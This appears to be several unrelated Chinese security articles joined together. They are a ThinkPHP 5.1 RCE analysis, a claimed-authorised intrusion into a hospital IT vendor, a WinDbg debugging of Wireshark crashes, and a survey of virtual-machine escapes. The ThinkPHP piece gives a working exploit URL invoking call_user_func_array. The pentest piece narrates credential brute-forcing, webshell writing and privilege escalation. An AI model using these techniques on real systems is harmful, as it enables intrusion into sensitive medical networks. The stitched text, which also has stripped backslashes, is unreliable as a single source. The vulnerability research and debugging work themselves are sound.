// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
}
首先利用了is_callable方法对$instance和$action进行验证，接下来创建了反射类$reflect，接下来跳出if判断，执行了`invokeReflectMethod()`函数
public function invokeReflectMethod($instance, $reflect, $vars = [])
{
$args = $this->bindParams($reflect, $vars);
return $reflect->invokeArgs($instance, $args);
}
这里显示利用了`bindParams`函数对$reflect和$vars进行处理，返回了`$args:{"world"}`，然后将$args和$instance传入`ReflectionMethod`的`invokeArgs`方法，执行$instance即对象实例，这里可以看到直接跳转到了我们自己写的test文件中
### 响应输出
回到exec函数，这里可以看到会继续执行`autoResponse`方法，传入的$data就是我们自己写的test.php的返回结果，该函数调用了create函数，返回设定的数据包的头部信息，$response变量中，并且最后利用了`new
static();`实例化自身Response类，接着调用了`__construct()`方法，可以看到这里将所有的头部信息的变量赋值给了Response类的$this，然后返回到autoResponse()方法中，将这些赋值给$response变量中
接下来跳转回Dispatch的`run()`方法中，把$response赋值给$data，接着又重新调用了依次`autoResponse()`方法，这次是用来判断$data是否是Response的实例的，成功则将$data赋值给$reponse返回
这次跳转回App的run方法，将$response返回
下面就是将数据发送到客户端的过程了，执行send函数，依次发送状态码，头部信息和返回的数据信息，接着调用到appShutdown()方法，并写入日志保存，至此，流程结束
## RCE分析
在 `\thinkphp\library\think\Container.php` 中，317行的`invokeFunction`方法
这里调用到了`call_user_func_array()`这个危险函数，那么是否可以调用它来执行些危险操作呢？
首先看一下这个流程，把传入的参数$function作为一个反射类赋值给$reflect，接下来把$reflect和参数$vars传入`bindParams()`方法，跟进一下该方法
其实就是对参数做处理，获取到反射类的绑定参数
这里可以将当前的模块，控制器方法，操作等直接放到请求的url里，让流程直接访问到这个函数，执行call_user_func_array()函数，那么就可以根据url来构造payload
* 正常URL : `127.0.0.1/public/index.php/index/test/hello/name/world`
* 恶意URL : `127.0.0.1/public/index/模块/Container/invokefunction`
但是这个Container类并不在任何模块里，那模块应该填什么？回到上面的流程中，Module类的init方法
为了保证流程不在最后抛出404错误，就得令`$module`和`$available`为true，首先，在模块正常存在的情况下，$module是一定为true的，那么需要考虑的就是$available了，在函数中部的if语句中有三个判断
* 第一个需要$bind为true才执行，但是在默认情况下，$bind为null，所以跳过，
* 第三个判断取出的配置 : `empty_module`为空，同样跳过
* 第二个：在if语句还有两个判断，第一个先判断模块是否在禁止访问模块中，第二个判断该模块的路径是否存在，也就是说这里只需要构造一个环境中存在的模块就ok了，继续向下
这里来到漏洞点所在的位置，App.php631行的`parseModuleAndClass`方法
这里的参数$name就是我们的控制器名，在流程中，经过这个函数时会跳转到else判断经过`parseClass`函数对$name和$module进行拼接，但是注意他的if语句，若是$name存在`\`，就会直接返回，跳过了`parseClass()`函数的约束，接着后面的操作，$class就会被实例化并调用`call_user_func_array()`函数
这里的Container类在命名空间think下，所以可以构造`think/container`
这里还需要说的是，在thinkphp中，只要知道命名空间的路径，并且命名空间的路径与类库文件的路径相一致，就可以对类进行实例化
类库目录
名称 | 描述 | 类库目录
---|---|---
think | 系统核心类库 | think/library/think
traits | 系统traits类库 | think/library/traits
app | 应用类库 | Application
这下就可以构造访问的url了
`127.0.0.1/public/index.php/index/think\Container/invokefunction`
继续构造传入的参数
`/functino/call_user_func_array/vars[0]/phpinfo/vars[1][]/1`
但是在pathinfo的访问模式下，`\`会被浏览器自动替换为`/`，于是替换为兼容模式访问
`http://127.0.0.1/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&var[0]=phpinfo&vars[1][]=1`
## 小结
本文重点在于分析thinkphp的框架流程，流程中函数调用较为复杂，建议独立的对thinkphp框架进行依次完整分析，这样就会有更清晰的认识
欢迎师傅们斧正
参考：[ThinkPHP 5.1框架结合RCE漏洞的深入分析](https://www.freebuf.com/vuls/200585.html) | 社区文章 |
## 重要说明
本文中涉及到的所有操作均得到了客户单位的授权，并且在漏洞修复后得以公开。请勿在未授权状态下进行任何形式的渗透测试！！！！
## 漫长的探索
某天，接到一个任务，要求对某医院的信息系统做一次安全检测，看能否发现问题。经过初步的信息收集后，发现该医院并无官网，只有一个微信公众号提供了预约挂号，缴费等功能，看来只能把突破点放在这个公众号上了。
下图是微信公众号的一些功能：
当点击这些功能并抓包的时候，令我看到奇怪的是所有的请求都指向了`a.test.com`这个域名，如下图，原谅我的厚码...
`test.com`这个域名经过查找后发现是一家提供医疗信息系统的本地公司,但不解的是为什么医院的系统会放到供应商公司去呢？他们是如何进行数据同步的呢？带着这些问题我开始了对`a.test.com`这个域名的测试。
看到这个熟悉的页面，确定了此系统大概是由sping boot开发的，经过一系列常规操作后，只发现了一个swagger-ui页面。
由于我们的目标是拿权限，所以重点对此页面的接口进行了sql注入和越权等测试，无果，也没有任何的文件上传接口,开始卡到这里了。
回过来想，`a.test.com`这个域名是`test.com`的子域名，是否能够通过`test.com`进行突破呢？
访问`test.com`,打开的是供应商公司的官网。
对`test.com`的域名做信息收集后发现了几个子域均解析致某云服务器，但是ip不同。
首先`git.test.com`这个域名引起了我的注意，打开后是一个gitlab服务。
gitlab历史上是由几个漏洞的：
但不幸的是此系统版本较高，漏洞均以修复。
那会不会由弱口令呢？使用几个常用的用户名和top密码进行爆破，无果，我又想办法加到了此公司的一个qq群中，尝试在群文件中获取一些有效信息。
果不然，群文件中有一份表格，记录了员工的详细信息
有了这些信息，我开始使用姓名和工号等组合成gitlab的用户名，使用常用弱口令定向爆破，期望能有一两个结果，但是还是无果，看来此gitlab对密码强度有要求，弱口令是走不通了。
## 柳岸花明又一村
当使用google hack 语法搜索此gitlab时发现了几处无需认证即可访问的公开仓库。
我开始把希望寄托在了这些可公开访问的仓库上，仔细翻看这些仓库，大多数都是一些接口文档，对本次渗透没有啥用。
终于在rabbitmq安装介绍文档中发现了一个oracle数据库的连接用户名和密码：
在前面的信息收集过程中，已经发现了`x.test.com`这个子域名对应的ip地址开放了oracle数据库端口，我迅速连接了此数据库发现用户名密码正确，可以连接。
由于此数据库版本较低，并且时sysdba权限，我可以直接以system权限执行命令。
然后就是添加用户登录拿下了这台oracle数据库的服务器。
并且在这个mysql文件夹中发现了mysql的配置文件。
由于`test.com`这台服务器是开放了mysql数据库的，利用此信息，我又成功登录了mysql数据库。
在mysql数据库中成功获取了供应商官网`test.com`后台的用户名和密码。
当我满怀欣喜的去登录时，发现确实可以登录，但登陆后的后台功能都已废弃，只有一个大大的thinkphp错误。
怎么办，原想的通过后台getshell的想法也落空了。（也尝试过使用Thinkphp3的漏洞利用，但也全部失败了）
## 绝处逢生
到这里，我认为只能把希望放在这个mysql数据库上了，由于是windows系统，udf提权大概率成功不了，那就只能尝试写webshell了。写webshell的话需要知道绝对路径，我尝试使用各种办法让`test.com`报错，看报错信息中有没有包含绝对路径，一系列操作过后无果，只有404页面。
没办法了，只有盲猜一波，我突然想到了mysql数据库表的表名是否就是网站的目录名呢？
使用这两个表名构造了以下绝对路径
c:\\hs_web
c:\\hsweb
d:\\hs_web
d:\\hsweb
当尝试到`c:\\hs_web`时，webshell提示已经写入成功了。
使用蚁剑连接成功：
由于当前用户权限较小，使用potato成功提权：
添加用户成功登录远程桌面：
在服务端的nginx配置文件中发现了代理规则，涉及到几十家医院：
原来这些医院的微信公众号业务都是先访问`test.com`这台服务器，然后再由这台服务器上的nginx转到到各个医院的真实服务器上。那这样也太不安全了吧，一旦供应商的这台服务器宕机、他们的业务也得跟着丢。
然后在这台服务器上发现了微信公众号后台源码，丢给同伴审计了一波，发现了后台登录绕过漏洞，可以直接登录后台。
然后就是随意改信息啦。
至此本次渗透就结束了，其实拿到医院的真实ip后也可以更深入的进行测试。 | 社区文章 |
# 《Dive into Windbg系列》Wireshark的卡死与崩溃
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 《Dive into Windbg》是一系列关于如何理解和使用Windbg的文章，主要涵盖三个方面：
>
> 1、Windbg实战运用，排查资源占用、死锁、崩溃、蓝屏等，以解决各种实际问题为导向。
>
> 2、Windbg原理剖析，插件、脚本开发，剖析调试原理，便于较更好理解Windbg的工作机制。
>
> 3、Windbg后续思考，站在开发和逆向角度，谈谈软件开发，分享作者使用Windbg的一些经历。
## 第一篇 《Wireshark的卡死与崩溃》
涉及知识点：死锁与假死、SEH异常、崩溃分析、开源软件、PDB、Wireshark源码、Https、Qt信号槽、事件机制等。
## 起因
说起网络协议分析，首先想到的便是老牌的Wireshark，特点是跨平台、界面简洁易操作，协议齐全又开源。因此Wireshark久居网络安全工具排行榜前列，也当之无愧。然而笔者最近在使用Wireshark时，遇到了怪象，先是随机卡死，后又遭遇崩溃，本文主要讲述如何使用Windbg来分析这类问题。
## 寻找卡死的根源
有一段时间没用Wireshark了，最近发现抓包一段时间后，Wireshark随机出现卡死，界面无响应。习惯性地升级版本，然而安装了新版2.4.3问题依旧，于是打算一探究竟。
首先界面无响应，多半是UI主线程卡死了,卡死主要有两种表现：
* 死锁：首先想到的便是哲学家用餐问题。Windows上常见的死锁是卡在等待内核对象上，比如事件、CRITICAL_SECITON（本质还是事件）、信号量、互斥体等。锁是并行编程常用的抽象概念，其实现多种多样。笔者也遇到过很多死锁问题，例如：
>
> LdrpLoaderLock：临界区CRITICAL_SECTION，占用该锁地方很多。导致死锁的原因也很多，比如DllMain里创建线程，并等待线程退出。又比如调用GetModuleHandle等函数，操作PEB.LoaderList时，线程刚好被TerminateThread了，那么这个锁就永远占住了。排查这类问题常用命令!locks或者!cs（InitializeCriticalSection初始化时会用DebugInfo->ProcessLocksList把整个进程的临界区连起来，链表头是全局变量ntdll!RtlCriticalSectionList)，临界区结构里包含了许多有用信息，比如OwerThread、DebugInfo等等，输入dt
> -r _RTL_CRITICAL_SECTION查看。
> FileObjectLock：事件KEVENT，用同步操作I/O的要注意了。比如经常容易采坑的ZwQueryObject，当去查询一个同步的NamedPipe对象名称时，若NamedPipe处于ConnectNamedPipe状态（且没有Client连接进来），NtFsControlFile调用FSCTL_PIPE_LISTEN例程，而且NtFsControlFile也不会走FastIo流程，此时的Irp会阻塞，并且之前已经IopAcquireFastLock占用了FileObjectLock。所以ZwQueryObject查询这个FileObject便会导致死锁。
> AddressCreationLock：守护型互斥体KGUARDED_MUTEX。主要用于进程Vad树的同步操作。常见的死锁场景是当MmMapViewOfSection调用ImageLoad回调时，已经调用KeAcquireGuardedMutex占用了此锁，自然不能在回调里操作Vad，比如ZwAllocateVirtualMemory。
* 假死：现象和死锁相似，主要表现响应缓慢，也可能出现线程CPU占用高，例如大量循环、低效算法、同步I/O（读写文件、阻塞socket等），这类问题后面会讲述。
在开始分析前，需要先准备环境，因为笔者装的64位Wireshark，所以必须用Windbg
X64版本调试，若分析dump则无此限制。设置微软官方符号后，快捷键F6附加到Wireshark.exe进程（若只需观察内存可以选择非侵入式Noninvasive）。Wireshark2.0开始UI从GTK换成Qt了，附加完成中断到DbgBreadkPoint后，输入~0k,查看Qt主线程栈回溯。
栈回溯犹为关键，通过观察，可得知几个信息：
>
> Qt和libwireshark虽然没有PDB，但调用的函数大多都是导出函数，所以Windbg识别出了符号，注意观察符号后面的偏移地址，如果偏移太大，符号应该不正确，因为一个优雅的函数应该尽可能简洁。比如libwireshark!find_sid_name+0x6215f符号就是错误的。
>
> 栈的最顶层并没有等待内核对象，整个调用都在用户态，说明用户态代码可能遇到了上文说的假死情况。
>
> 卡死的可能是在调用dissector函数，即协议解码器。
当然，这只是一次线程栈的快照，并不能充分说明问题，为此，这里有个技巧就是构造多次线程快照，观察统计。对于这种必然卡死的问题可以F5（g）运行，再中断Ctrl+Break下来，重复几次，查看栈回溯。虽然每次栈最顶层都有变化，但是一直都离不开libwireshark!ssl_starttls_post_ack+0x6215这个Frame，说明八九不离十就是这个函数。
难道是解码TLS的数据卡住了？求解未知问题，方法很多，Windbg、IDA反汇编跟踪固然可以，但我们知道Wireshark是开源软件，因此对照源码分析更高效。而且对于一个正常项目来说，构建时必然会归档符号文件。于是笔者在<https://www.wireshark.org/download/win64/all-versions/> 找到了2.4.3的PDB文件，同时下载了一份对应版本的源码。
说到PDB，经常有人会疑惑Windbg怎么老是加载不上符号，其实只需使用!sym
noisy命令打印出Windbg的符号搜索过程，将对应的PDB复制到对搜索的路径，这里笔者直接将PDB释放到Wireshark目录,重新.reload一次，再次查看栈回溯。
感谢符号，有符号和没符号区别就是整容后和整容前的区别。由此看来，确实是TLS解码卡在了ssl_load_keyfile函数，因为这份PDB里包含了行号信息，直接找到对应的代码。
//packet-ssl-utils.c。
for (;;) {
char buf[512], *line;
gsize bytes_read;
GMatchInfo *mi;
line = fgets(buf, sizeof(buf), *keylog_file);
if (!line)
break;
bytes_read = strlen(line);
/* fgets includes the n at the end of the line. */
if (bytes_read > 0 && line[bytes_read - 1] == 'n') {
line[bytes_read - 1] = 0;
bytes_read--;
}
if (bytes_read > 0 && line[bytes_read - 1] == 'r') {
line[bytes_read - 1] = 0;
bytes_read--;
}
//....
from_hex(pre_ms_or_ms, hex_pre_ms_or_ms, strlen(hex_pre_ms_or_ms));
//....
不出所料，果然有一个大循环，每次循环调用fgets(buf, sizeof(buf),
*keylog_file);读取512字节，即分块按行读取，猜测应该是keylog_file文件内容过多导致的了，到底是个什么文件？查看ssl_load_keyfile原型如下：
void
ssl_load_keyfile(const gchar *ssl_keylog_filename, FILE **keylog_file,
const ssl_master_key_map_t *mk_map)
现在问题转化为寻找key文件路径，也是寻找参数的过程，根据x64调用约定，前四个参数通过寄存器传递，后续参数通过栈传递。然而查看x64的前4个参数（rcx、rdx、r8、r9）并不容易（其余的的参数可通过栈帧找到），一般来说，前4个参数是通过反汇编分析上层或者下层函数，或者函数内部会暂存，总之需要分析反汇编代码间接找到。
第一个参数：文件路径。这个参数通过.frame、dv查看变量，但ssl_keylog_filename 显示 value
unavailable，说明没推导出来。反汇编到上层调用函数，发现mov rcx,qword ptr
[libwireshark!ssl_options+0x8]，参数rcx是一个全局变量，db
poi(libwireshark!ssl_options+0x8)查看参数1的值，对应源码：
static ssl_common_options_t ssl_options = { NULL, NULL};
ssl_load_keyfile(ssl_options.keylog_filename, &ssl_keylog_file, &ssl_master_key_map);
第二个参数：FILE**指针,crt的FILE可转换得到文件句柄，再通过句柄可找到对应的路径。_get_osfhandle函数手动转换方法：.frame
01切换到对应的frame上，再输入dv查看变量，这次推导出了keylog_file的值（这里的rdx一直暂存在r12中），根据导入表确定crt库：dqs
libwireshark!_imp_fgets l1 得到ucrtbase!fgets，说明是Universal
CRT（VS2015重构后的crt结构有所变化，具体可参考ucrt的源码），这里的FILE对应
**crt_stdio_stream_data结构，其_file成员即是ioinfo的索引值。输入x ucrtbase!**
pioinfo，查看ioinfo的地址，进而找到__crt_lowio_handle_data，根据偏移和索引值，可得到osfhnd，即文件句柄。然而!handle命令没法在用户态得到句柄对应的文件路径，可以写插件实现，也可以用procexp找到句柄对应的文件路径。
头文件：
ucrtinccorecrt_internal_stdio.h
struct __crt_stdio_stream_data
{
union
{
FILE _public_file;
char* _ptr;
};
char* _base;
int _cnt;
long _flags;
long _file;
int _charbuf;
int _bufsiz;
char* _tmpfname;
CRITICAL_SECTION _lock;
};
头文件：ucrtinccorecrt_internal_lowio.h
//x64结构大小:0x40，osfhnd偏移:0x28，这些可通过sizeof打印，对于简单的结构体，偏移遵照对齐方式自行估算。
struct __crt_lowio_handle_data
{
CRITICAL_SECTION lock;
intptr_t osfhnd; // underlying OS file HANDLE
__int64 startpos; // File position that matches buffer start
unsigned char osfile; // Attributes of file (e.g., open in text mode?)
__crt_lowio_text_mode textmode;
__crt_lowio_pipe_lookahead _pipe_lookahead;
uint8_t unicode : 1; // Was the file opened as unicode?
uint8_t utf8translations : 1; // Buffer contains translations other than CRLF
uint8_t dbcsBufferUsed : 1; // Is the dbcsBuffer in use?
char dbcsBuffer; // Buffer for the lead byte of DBCS when converting from DBCS to Unicode
};
typedef __crt_lowio_handle_data* __crt_lowio_handle_data_array[IOINFO_ARRAYS];
extern __crt_lowio_handle_data_array __pioinfo;
最后发现文件是”D:ChromeSSL”，大小有100多M，看到chrome才回过神来，因为很早之前分析某网站的Https协议时，把chrome的ssl
key通过环境变量SSLKEYLOGFILE存储到文件，再设置到了Pre-Master-Secret中。经过上述分析，卡死问题总算得解。。。
### **遭遇崩溃的尴尬**
刚解决完卡死问题，又遇到一次Wireshark崩溃。
既然准备工作都完成了，那就接着分析吧。首先保存现场，存一份完整dump（minidump内存信息太少不易分析）。
说到如何转储dump，通常有几种方式：
> procexp – Create Full/Mini Dump。 任务管理器 – 创建转储文件,完整dump。 Windbg –
> Attach到进程，.dump /ma c:crash.dmp。这里有一点需要注意：如果是Attach上去再存储dump，那么当前的异常信息是Break
> instruction
> exception（用!analyze命令也分析不出真正的异常，后面我们会讲如何分析这类dump），因为此时程序正在等待WER服务响应，调试器并没有收到异常事件。正确做法是继续运行程序，在Werfault的错误框点击调试程序，若弹出选择VS
> JIT调试对话框，则选择否。Windbg会再次中断到异常状态，此时存储dump可获取到异常信息。 procdump –
> 命令行程序，跟procexp是一个系列。
> 自己写程序，调用MiniDumpWriteDump函数。一般软件都自带BugReport收集dump，而且dump里还加入了异常信息，具体可参考google
> breakpad实现。
笔者这次用Windbg保存了dump，将dump拖入windbg（x64/x86即可），输入.excr查看当前异常信息，发现是DbgBreakPoint(DbgUiRemoteBreakin)，也就是上面所提到的Attach
int 3异常，异常信息虽有，但不正确。如果你用procexp、任务管理器存储的dump则会提示Unable to get exception
context, HRESULT 0x80004002，因为这些程序在调用MiniDumpWriteDump函数生成dump时，没获取异常信息。
对于这类dump，可以用!analyze -v自动分析，或许能搜到异常信息。但笔者习惯先查看所有线程的栈回溯，输入：~* k，找到异常线程，如下：
00 00000000`00248c98 000007fe`fdae1430 ntdll!NtWaitForMultipleObjects+0xa
01 00000000`00248ca0 00000000`77991723 KERNELBASE!WaitForMultipleObjectsEx+0xe8
02 00000000`00248da0 00000000`77a0b5e5 kernel32!WaitForMultipleObjectsExImplementation+0xb3
03 00000000`00248e30 00000000`77a0b767 kernel32!WerpReportFaultInternal+0x215
04 00000000`00248ed0 00000000`77a0b7bf kernel32!WerpReportFault+0x77
05 00000000`00248f00 00000000`77a0b9dc kernel32!BasepReportFault+0x1f
06 00000000`00248f30 00000000`77b23398 kernel32!UnhandledExceptionFilter+0x1fc
07 00000000`00249010 00000000`77aa85c8 ntdll! ?? ::FNODOBFM::`string'+0x2365
08 00000000`00249040 00000000`77ab9d2d ntdll!_C_specific_handler+0x8c
09 00000000`002490b0 00000000`77aa91cf ntdll!RtlpExecuteHandlerForException+0xd
0a 00000000`002490e0 00000000`77ae1248 ntdll!RtlDispatchException+0x45a
0b 00000000`002497c0 00000001`3f9be2b1 ntdll!KiUserExceptionDispatch+0x2e
0c 00000000`00249ee0 00000001`3f9b97a4 Wireshark!rescan_packets+0x351 [c:buildbotwiresharkwireshark-2.4-64windows-2016-x64buildfile.c @ 1773]
识别异常线程很简单，找关键函数KiUserExceptionDispatch，这是用户态SEH异常分发的源头，异常如果没人处理就到了UnhandledExceptionFilter，开始调用WerpReportFault函数，通过ALPC（WindowsErrorReportingServicePort端口）发消息给WER服务弹错误提示，如果和WER服务通信失败，则创建Werfault.exe弹错误提示。创建Werfault再失败，就只有NtRaiseHardError，交给csrss弹框了（进程创建时，CsrCreateProcess时默认会设置EPROCESS的ExceptionPort，之间也交互是ALPC（ApiPort端口）通信。
//Werfault进程的命令行参数-p是后面是异常进程ID。
//Werfault进程也会保存异常线程ID，对于多个同名进程，可以用procexp直接找到崩溃进程，查看异常线程的栈，粗略分析。
//下面是分析WerpReportFault得到的验证代码。
#define PAGE_SIZE 0x1000
HANDLE Section = (HANDLE)0x308; //异常进程共享内存句柄，用procexp查看，一般是Werfault进程最后一个Section（procexp记得勾选显示uname handle）。
DWORD WerPid = 12304; //Werfault进程ID
HANDLE WerProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, WerPid);
if (WerProcess != NULL) {
BOOL DupOk;
HANDLE DupHandle;
//复制一份Section句柄
DupOk = DuplicateHandle(WerProcess,Section,
GetCurrentProcess(), &DupHandle,
SECTION_MAP_READ, FALSE, 0);
if (DupOk) {
CHAR* MapBuffer;
//访问共享内存，获取异常进程ID和线程ID
MapBuffer = (CHAR*)MapViewOfFile(DupHandle, FILE_MAP_READ, 0 , 0, PAGE_SIZE);
if (MapBuffer) {
printf("Exception PID:%dn", *(DWORD*)(MapBuffer+0x4));
printf("Exception TID:%dn", *(DWORD*)(MapBuffer+0x8));
UnmapViewOfFile(MapBuffer);
}
CloseHandle(DupHandle);
}
CloseHandle(WerProcess);
}
通过Windbg找到异常线程后，如果dump中没保存异常信息，.excr不能用，怎么分析异常？很简单，从RtlDispatchException参数入手，函数原型如下：
BOOLEAN
RtlDispatchException (
IN PEXCEPTION_RECORD ExceptionRecord,
IN PCONTEXT ContextRecord
)
前面提及过如何寻找x64的前4个参数，ub反汇编RtlDispatchException上层调用代码如下：
00000000`77ae1236 488bcc mov rcx,rsp
00000000`77ae1239 4881c1f0040000 add rcx,4F0h
00000000`77ae1240 488bd4 mov rdx,rsp
00000000`77ae1243 e8f87bfcff call ntdll!RtlDispatchException (00000000`77aa8e40)
说明ExceptionRecord=rcx=rsp+0x4F0，ContextFrame=rdx=rsp，继续查看0B栈帧，（.frame /r
0B或者~0kn查看栈帧SP）得到rsp的值，接着获取EXCEPTION_RECORD（.exr rsp+0x4F0），CONTEXT（.cxr
rsp），使用dt命令亦可。
显示的异常指令：and dword ptr [rsi+24h],0FFFFFFFDh，rsi（96239a8）地址无效 。内存违规c0000005
(Access violation)是个很常见的错误，例如空指针、DoubleFree、UAF等。
根据这条异常信息猜测是一个结构成员的位标记，但结构体地址却无效，查看源码rescan_packets函数发现是fdata->flags.dependent_of_displayed
= 0，而fdata地址无效。
capture_file cfile是个全局变量，用来管理数据包及状态，用dt命令结合符号查看。
0:000> dt wireshark!capture_file @@masm(wireshark!cfile)
+0x000 epan : (null)
+0x008 state : 0 ( FILE_CLOSED ) //file已经关闭，即调用了cf_close，相应的内存都被释放。
为什么关闭？ 难道cfile有同步问题？带着这一系列问题阅读源码吧。
关于源码分析的一点说明：
首先选择一款好的源码阅读工具，比如SourceInsight、VisualStudioCode，VisualAssist，具备交叉引用，符号索引等实用。从开发入手，先熟悉软件架构，弄清代码结构及逻辑，追踪实现细节，通过代码交叉引用观察函数调用、参数传递等。从逆向入手，根据符号查看各种变量和内存结构，若函数没有符号（例如优化后的inline代码）那就需要多锻炼逆向分析能力了，熟悉调用约定，了解编译器常用优化。
必要时也可通过调试分析，依靠内存访问断点，结合栈回溯观察函数调用和参数传递。例如这里有个技巧通过Windbg调试新Wireshark实例，对state设置硬件写入断点：ba
w4 @[@c](https://github.com/c
"@c")++(&wireshark!cfile.state)，可以观察到状态变化，通过栈回溯符号看到函数调用流程，能减轻不少工作量。
后续源码分析较为琐碎，考虑篇幅，因此我不再赘述，读者可自行阅读，最后结论是：
先看看cfile的文件状态
typedef enum {
FILE_CLOSED, /* No file open */关闭状态
FILE_READ_IN_PROGRESS, /* Reading a file we've opened */抓包中，从管道读取数据
FILE_READ_ABORTED, /* Read aborted by user */用户异常终止
FILE_READ_DONE /* Read completed */停止抓包，读取完成
} file_state;
rescan_packets会定时调用update_progress_dlg更新进度条，更新进度条必然会刷新Qt
UI，因此会调用WiresharkApplication::processEvents()准备处理UI事件，如果在此时触发了FILE_CLOSE事件就严重了。例如点了开始按钮，会调用on_actionCaptureStart_triggered函数，接着调用cf_close，释放了frames和fdata的内存，然后调用sync_pipe_start和dumpcap.exe通过管道接收捕获的数据包，然而接收数据是基于Qt定时器事件（周期为200ms），只有当收到第一份数据包时才会调用capture_input_new_file，进而调用cf_open更新state为FILE_READ_IN_PROCESS，才会为frames和fdata分配内存，因此这是导致崩溃的直接原因。
当然还有不少地方有这种问题，比如多次reload，再start，构造崩溃的极端方法如下：
1、先抓一部分数据包，然后点击停止。
2、多次按下Ctrl+R（reload），此时再按下E（start），即开始抓包。
3、这时程序会崩溃，或者一直按住Ctrl+R，再按E能稳定复现。
尝试了最新版的Wireshark 2.4.4也有此问题，整个分析过程就告一段落。
## 结束
本文主要讲述了如何利用Windbg解决Wireshark卡死和崩溃此类实际问题，如果你也遇到过类似问题，不妨拿起Windbg去探一探究竟。
文章整体可能显得有些松散，有些是思维过程，有些是技巧，有些看似不相关。但我觉得对于学习和研究，可以试着走最长的路，看最远的风景，当你经历过看似繁琐的过程后，或许有不一样的思路。如果本文涉及的知识点我未详细说明的，各位可自行搜索研究，或者通过邮箱与我交流。
最后，感谢各位阅读，期待下次再见。
## 参考资料
Google
MSDN
Qt Assist
Windbg Help
WRK/NT/Windows 2000 source code
联系作者：[[email protected]](mailto:[email protected])
作者Github：<https://github.com/BlackINT3> | 社区文章 |
云计算时代已然到来，计算能力已经如同水和电一般，能够被我们随时使用，按需按量使用。依托于公有云设施，你只需轻松点击鼠标，即可购买处理器、内存、硬盘存储、网络带宽等资源，还可以伴随着需求的变化随时灵活调整用量，或增或减。实现这种魔法的核心技术之一正是虚拟化，它是一种能够将单一的硬件资源抽象成可细粒度调配的虚拟硬件资源池的技术。虚拟化技术的诞生极大地提高了计算资源的伸缩性和可管理性。
# **什么是虚拟机逃逸？**
越来越多的应用不再直接运行在硬件上，而是运行在虚拟世界——虚拟机上。相对应的，真实世界中的每一台物理机被称为“宿主机”，通过虚拟化技术，它们被抽象成若干台虚拟机，每一台虚拟机之上可以运行不同的应用程序。这时候，为了防止不同虚拟机中运行的应用之间互相干扰，抢占权限，泄露信息，就要求“宿主机”有能力维持虚拟世界的秩序，让虚拟机之间完全隔离，让应用认识到它所存在的虚拟机就是世界的全部，而看不见其他虚拟机的存在。“宿主机”的这种掌控能力，就是虚拟化技术在设计时必须考虑的目标之一，也是云计算安全的基石。
然而虚拟化技术构建的安全屏障并非牢不可破。《黑客帝国》的主人公Neo生存的“母体”就是一个完全虚拟的世界，当他吞下红色药丸，即可完成“母体”的逃离，从而认识真实世界。虚拟化技术在设计或实现中存在的漏洞就是这颗“红色药丸”，虚拟机里运行的程序可以通过漏洞利用，突破禁锢，掌控“宿主机”，实现虚拟机逃逸。
虚拟机逃逸攻击打破了权限与数据隔离的边界，让攻击者从虚拟机里的“普通人类”，一跃成为掌控宿主机的“神”，得以窥探和管控同一片云下成百上千个虚拟机应用和海量数据。不得不说，虚拟机逃逸已成为云计算时代令人闻风丧胆的重大安全威胁之一，这样的攻击能否真的实现？难度究竟有多少？
# **过去十年，主流虚拟化技术无一幸免**
过去的二十年里，虚拟化技术突飞猛进，虚拟化领域的各种流派都得到了极大的发展。在开源领域，KVM占据了主导地位，Xen以将近二十年的历史也占据了一席之地，甲骨文的VirtualBox大多运用在小型测试场景；在商业战场，VMware稳坐领头羊的位置，微软的Hyper-V在其身后不断发起冲击。
而所有的这些主流虚拟化软件，在过去的十年里，面对虚拟化逃逸攻击，无一幸免，让我们一一盘点这些历史上出现过的“红色药丸”。
2009年，Immunity的安全研究员Kostya在BlackHat上演示了VMware
Workstation逃逸。研究人员发现了图形显示相关的SVGA设备中的多个漏洞。SVGA模拟设备为虚拟机的2D和3D图像绘制提供了大量命令，由于在这些命令的处理代码中并未做好参数检查，导致攻击者可以利用内存越界访问来实现虚拟机逃逸。
2011年，来自Ksplice的内核工程师Nelson
Elhage在BlackHat上演示了KVM逃逸，逃逸中利用了虚拟PIIX4设备中的漏洞。PIIX4是一个主板上的芯片，支持PCI热插拔，由于虚拟设备在代码实现中并未考虑硬件移除时产生的后果，导致出现了一个释放后使用（Use
After Free）的问题。
2014年，Francisco
Falcon在REcon上演示了VirtualBox逃逸，逃逸中利用了VirtualBox在3D加速功能中出现的内存访问漏洞。
2016年，阿里云安全团队的Shangcong
Luan在HITBSec上演示了Xen逃逸。研究人员发现了Xen在虚拟内存管理中出现的一个漏洞，并通过它实现内存的任意读写，最终实现了对宿主机的控制。同年，世界黑客大赛Pwn2Own中首次引入虚拟机逃逸比赛项目，吸引了全球范围内的安全研究人员的关注，并在2017和2018年连续两年均有参赛选手成功挑战VMware
Workstation和VirtualBox虚拟机逃逸。
2018年，长亭科技安全研究实验室的f1yyy在GeekPwn上演示了VMware ESXi虚拟机逃逸。VMware
ESXi是企业级虚拟化方案的核心系统，防护级别高于桌面版的VMware
Workstation，这是全球范围内针对ESXi的首次逃逸。此次逃逸攻击不仅利用了虚拟网卡设备的多个漏洞，也组合了绕过防护策略的技巧，才得以成功。
2018年，微软安全工程师Jordan Rabet在BlackHat上首次演示了Hyper-V逃逸。厂商的员工对自家产品做公开的攻击演示，是非常少见的情形，很好地证明了微软对待安全的积极和开放态度。微软也为虚拟机逃逸漏洞单独设立了丰厚的漏洞奖励计划，开出了最高一个漏洞25万美元的奖励。在这样的激励下，全球的研究人员为HyperV贡献了不少研究成果。
以上列举了过去十年里具有代表性的虚拟机逃逸攻击案例。可以看到，在攻防对抗的研究浪潮里，主流的虚拟化软件KVM、Xen、VMware、VirtualBox、HyperV无一幸免。事实上，除了这些案例，其他被发现和修复的虚拟机逃逸漏洞还有很多很多，数不胜数。
# **虚拟设备已成重灾区**
虚拟化技术包含了CPU虚拟化、内存虚拟化、I/O虚拟化等技术。回顾过去十年出现的虚拟机逃逸漏洞，I/O虚拟化技术中的虚拟设备是大部分漏洞产生的根源。
